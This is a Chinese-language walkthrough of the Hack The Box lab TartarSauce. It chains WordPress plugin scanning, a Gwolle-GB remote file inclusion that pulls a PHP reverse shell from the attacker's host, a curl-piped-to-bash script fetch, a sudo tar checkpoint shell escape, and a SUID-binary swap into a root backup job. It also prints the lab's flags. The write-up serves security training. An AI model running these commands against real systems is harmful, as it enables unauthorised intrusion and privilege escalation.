TartarSauce Walkthrough

TartarSauce是Hack The Box的一个靶机,其利用手法比较新颖,要求熟悉tar的使用原理。当时做的时候,头懵懵的,特此记录下来,方便朋友们一起进步。

nmap扫描端口,发现仅有80端口,可访问到robots.txt。

由robots.txt可获得monstra-3.0.4管理员登录界面为http://10.129.1.185/webservices/monstra-3.0.4/admin/index.php

以admin/admin可以登录,但试了好几种monstra3.0.4漏洞利用方法都不成功,总提示“File was not uploaded”

gobuster搜索http://10.129.1.185/webservices,发现了wp目录

使用了wordpress,可用wpscan进行扫描。

注:执行如下扫描,提示没有任何插件

wpscan --urlhttp://10.129.1.185/webservices/wp -eap

ap  指所有插件

只有采用如下命令才能检测出插件

wpscan --urlhttp://10.129.1.185/webservices/wp -e u,ap --plugins-detection aggressive

--plugins-detection aggressive 使用较强的插件检测模式,以便在扫描期间能够检测到更多的插件漏洞

查看该插件的readme.txt

http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

在该文件的Changelog部分发现了有趣的内容,由于wpscan会根据插件readme.txt的版本信息来检测是否存在漏洞,所以此处网站管理员为了避免被检测出漏洞,手动修改了插件的版本号,真正的版本号是1.5.3。

searchsploit gwolle

显示存在远程文件包含,从利用脚本知道访问如下URL

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/test

Kali Linux监听80端口,可看到如下信息

等于在我们访问的test后面加上了wp-load.php字符。

知道了原理,我们修改php-reverse-shell.php,更改主机和端口,把名字改为wp-load.php

开启web服务器+nc监听1234端口

python -m http.server 80

nc -lvnp 1234

访问如下URL(修改/etc/hosts,建立IP地址和tartarsauce.htb的关系)就可获得反向连接

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/

当前用户为www-data,连接到Kali Linux,运行LinEnum脚本进行提权

curl 10.10.14.17/LinEnum.sh | bash

找到可疑之处,onuma不用密码就能sudo执行tar

到gtfobins上找tar的sudo做法

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

由于是onuma才不需要密码,需要改成sudo -u onuma

/bin/bash显示效果比/bin/sh要好,最后利用语句为

sudo-u onumatar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

1、提交用户标志

7ec356c89f4e33bfab61ec66f82ccd8d

在用户onuma下,仍旧运行LinEnum进行提权

发现了一个可疑的systemtimer

执行locate backuperer,查找timer所在位置

我们将/usr/sbin/backuperer的内容拷贝下来,了解程序的含义

#!/bin/bash

#-------------------------------------------------------------------------------------

# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ

# ONUMA Dev auto backup program

# This tool will keep our webapp backed up incaseanother skiddie defaces us again.

# We will be able to quickly restore from a backupin seconds ;P

#-------------------------------------------------------------------------------------


# Set Vars Here

basedir=/var/www/html

bkpdir=/var/backups

tmpdir=/var/tmp

testmsg=$bkpdir/onuma_backup_test.txt

errormsg=$bkpdir/onuma_backup_error.txt

tmpfile=$tmpdir/.$(/usr/bin/head -c100/dev/urandom |sha1sum|cut -d' ' -f1)

check=$tmpdir/check


# formatting

printbdr()

{

    for n in$(seq 72);

    do/usr/bin/printf $"-";

    done

}

bdr=$(printbdr)


# Added a test file to let us see when the lastbackup was run

/usr/bin/printf $"$bdr\nAuto backupbackuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg


# Cleanup from last time.

/bin/rm -rf $tmpdir/.* $check


# Backup onuma website dev files.

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile$basedir &


# Added delay to wait for backup to complete iflarge files get added.

/bin/sleep 30


# Test the backup integrity

integrity_chk()

{

   /usr/bin/diff -r $basedir $check$basedir

}


/bin/mkdir $check

/bin/tar -zxvf $tmpfile -C $check

if [[ $(integrity_chk) ]]

then

    # Reporterrors so the dev can investigate the issue.

   /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran:  $(/bin/date)\n$bdr\n$tmpfile\n">> $errormsg

   integrity_chk >> $errormsg

    exit 2

else

    # Cleanup and save archive to the bkpdir.

    /bin/mv$tmpfile $bkpdir/onuma-www-dev.bak

    /bin/rm-rf $check .*

    exit 0

fi

—onuma用户执行sudo,将/var/www/html目录备份到/var/tmp下,并为其分配一个随机的SHA文件名

—为了完成备份,脚本将休眠30秒

—创建一个新的临时目录/var/tmp/check,并将tar提取到此文件夹中

—对/var/tmp/check和/var/www/html下的文件运行完整性检查。如果发现两者不一致,则输出错误信息到/var/backups/onuma_backup_error.txt;如果两者相同,则将/var/tmp下的备份文件移到/var/backups/onuma-www-dev.bak中,并删除/var/tmp/check目录。

我们的攻击计划是:创建一个带有SUID的tar文件,用它来替换在30秒睡眠时间之前产生的原始tar文件。后续如果提取了tar文件,将权限升级为root用户。

在本机上建立var/www/html目录

mkdir -p var/www/html

创建setuid.c文件

在本地进行编译到var/www/html目录中

gcc setuid.c -m32 -static-o var/www/html/suid

注:由于目标机为32位系统,我们需要使用-m32选项。编译前需要在本地安装gcc-multilib和g++-multilib。为了防止在目标机上运行程序时出现链接libc库版本不对,使用-static将其编译为静态链接的程序。

sudo apt-get install gcc-multilib g++-multilib

为suid设置SUID位,然后用tar将其归档到var/www/html/目录。

chmod u+s var/www/html/suid

tar zcvf suid.tar.gz var/

借助nc将suid.tar.gz上传到目标机

nc -lvnp 9001 < suid.tar.gz

nc 10.10.14.24 9001 > setuid.tar.gz

执行下述命令,每隔1秒显示当前执行的timer,当剩余5秒钟就可以开始操作了

watch -n 1 'systemctl list-timers'

将随机文件.415824fc54ec68fd05177c453d4bbdebcf02a672替换为上传的setuid.tar.gz

cp setuid.tar.gz .415824fc54ec68fd05177c453d4bbdebcf02a672

等待30秒睡眠后,将看到/var/tmp/下出现了check目录,此时可执/var/tmp/check/var/www/html/下的suid进行提权

2、提交root标志

4db485af1a778cdfabcb38941ee2eaf5

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容

  • wpscan扫描插件漏洞 linux命令提权(https://gtfobins.github.io/) ln -s...
    __周__阅读 463评论 0 0
  • 系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显...
    Andy_8d42阅读 273评论 0 0
  • linux文件及文件系统 linux中没有盘符概念只有一颗唯一的目录树,任何物理磁盘、U盘、移动硬盘、光驱等存储设...
    箫羽叶阅读 184评论 0 0
  • 最近都在和Linux打交道,感觉还不错。我觉得Linux相比windows比较麻烦的就是很多东西都要用命令来控制,...
    丿灬疏影阅读 115评论 0 1
  • 在学习Hadoop时接触到里Linux,刚刚学习linux,上网收集了一些觉得太零散了,找到一个比较全的,转载自:...
    王阿根阅读 228评论 1 3